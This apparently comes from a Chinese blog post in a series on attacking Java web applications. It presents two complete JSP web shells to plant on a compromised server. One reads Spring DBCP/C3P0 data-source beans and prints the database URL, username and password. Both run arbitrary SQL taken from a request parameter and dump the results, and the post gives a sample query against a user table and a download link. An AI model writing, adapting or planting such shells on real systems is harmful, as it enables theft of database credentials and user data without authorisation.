Java数据源"Hack"

yzmm
683 阅读
哦,My God..ApplicationContext.xml找不到明文的数据库连接账号密码!快崩溃了,看过攻击JavaWeb应用[1]-JavaEE 基础 和攻击JavaWeb应用[7]-Server篇[1]也没能找到数据库密码。

在ApplicationContext看到了dbcp或c3p0的配置,但是那里也没写明文的密码啊?到底要怎么连接数据库?

1

上图配置了两种常见的数据源,可以一眼就看到数据源具体连接信息。其实我们只需要知道数据源的id就可以连接数据库了。

<bean id="jwDataSource"  、<bean id="dataSourceGlobal"  上面两个数据源的id分别是jwDataSource和dataSourceGlobal,现在要做的就是在jsp里面去注入对应的bean获取数据库连接。

上次我贴了一段通过Tomcat等Server的数据源连接数据库的代码,其实原理都是一样的找到数据源的id即可连接数据库。

<%@page import="com.mchange.v2.c3p0.ComboPooledDataSource"%>
<%@page import="javax.sql.DataSource"%>
<%@page import="java.sql.ResultSetMetaData"%>
<%@page import="java.sql.ResultSet"%>
<%@page import="java.sql.Connection"%>
<%@page import="org.apache.commons.dbcp.BasicDataSource"%>
<%@page import="org.springframework.context.ApplicationContext"%>
<%@page import="org.springframework.web.context.support.WebApplicationContextUtils"%>
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<style>
	th,td {border:1px solid #C1DAD7;font-size:12px;padding:6px;color: #4f6b72;}
</style>
<%
	ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(getServletContext());
	DataSource bds =  (DataSource)ctx.getBean("jwDataSource");
	out.println("dbcp:<br/>");
	//dbcp方式
	BasicDataSource dbcp =  (BasicDataSource)ctx.getBean("jwDataSource");
	out.println("URL:"+dbcp.getUrl()+"<br/>UserName:"+dbcp.getUsername()+"<br/>PassWord:"+dbcp.getPassword()+"<br/>");
	out.println("<hr/>c3p0:<br/>");
	//c3p0
	ComboPooledDataSource c3p0 =  (ComboPooledDataSource)ctx.getBean("dataSourceGlobal");
	out.println("URL:"+c3p0.getJdbcUrl()+"<br/>UserName:"+c3p0.getUser()+"<br/>PassWord:"+c3p0.getPassword()+"<br/>");
	out.println("<hr/>Sql:<font color='red'>"+request.getParameter("sql")+"</font><br/>");
	out.println("<hr/>DataSource:<br/>");
	Connection c = bds.getConnection();
	ResultSet rs = c.prepareStatement(request.getParameter("sql")).executeQuery();
	ResultSetMetaData d = rs.getMetaData();
	out.println("<table><tr>");
	for (int i = 1; i <= d.getColumnCount(); i++) {
		out.println("<th>"+d.getColumnName(i)+"("+d.getColumnTypeName(i)+")\t"+"</th>");
	}
	out.println("<tr/>");
	while (rs.next()) {
		out.println("<tr>");
		for (int i = 1; i <= d.getColumnCount(); i++) {
			out.println("<td>"+rs.getObject(d.getColumnName(i))+"</td>");
		}
		out.println("<tr/>");
	}
%>

效果图:

2

请求:http://localhost:8080/ylog/spring.jsp?sql=select id,account,email,qq,sign from wps_sys_user会输出数据源账号密码、连接数据库的URL。

现在需要做的就是确定到底是什么类型的数据源?如果是dbcp就删除c3p0对应的部分就行了(需要删除

<%@page import="com.mchange.v2.c3p0.ComboPooledDataSource"%>、
//c3p0
ComboPooledDataSource c3p0 =  (ComboPooledDataSource)ctx.getBean("dataSourceGlobal");
out.println("URL:"+c3p0.getJdbcUrl()+"<br/>UserName:"+c3p0.getUser()+"<br/>PassWord:"+c3p0.getPassword()+"<br/>");

不删除会报错的哦,DBCP同理。如果俩都不确定只需要查询数据库就行了,不想知道数据库账号密码。那么可以吧它俩都干掉!)。

使用Server自带的数据源:

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%@page import="java.io.File"%>
<%@page import="java.io.FileWriter"%>
<%@page import="java.io.BufferedWriter"%>
<%@ page import="java.sql.*"%>
<%@ page import="javax.sql.*"%>
<%@ page import="javax.naming.*"%>
<html>
<body>
<style>
	th,td {border:1px solid #C1DAD7;font-size:12px;padding:6px;color: #4f6b72;}
</style>
<!-- 
使用方法:修改java:comp/env/jdbc/tfms为你自己的数据源名字
		请求http://xxx.com/xxx.jsp?sql=select xxx  from xxx即可
 -->
<%
	Context ctx = new InitialContext();
	DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/ylog");
	ResultSet rs = ds.getConnection().prepareStatement(request.getParameter("sql")).executeQuery();
	ResultSetMetaData d = rs.getMetaData();
	out.println("Sql:<font color='red'>"+request.getParameter("sql")+"</font><br/>");
	out.println("<table><tr>");
	for (int i = 1; i <= d.getColumnCount(); i++) {
		out.println("<th>"+d.getColumnName(i)+"("+d.getColumnTypeName(i)+")\t"+"</th>");
	}
	out.println("<tr/>");
	while (rs.next()) {
		out.println("<tr>");
		for (int i = 1; i <= d.getColumnCount(); i++) {
			out.println("<td>"+rs.getObject(d.getColumnName(i))+"</td>");
		}
		out.println("<tr/>");
	}
	rs.close();
%>
</body>
</html>

有的时候并不需要找到这段配置:

3

只需要在配置文件里面找到java:comp/env/jdbc/ylog就行了(其他Server同理):

4

测试Sql执行成功.

5

下载地址:jndi-spring.jsp.zip

评论 (0)

发表评论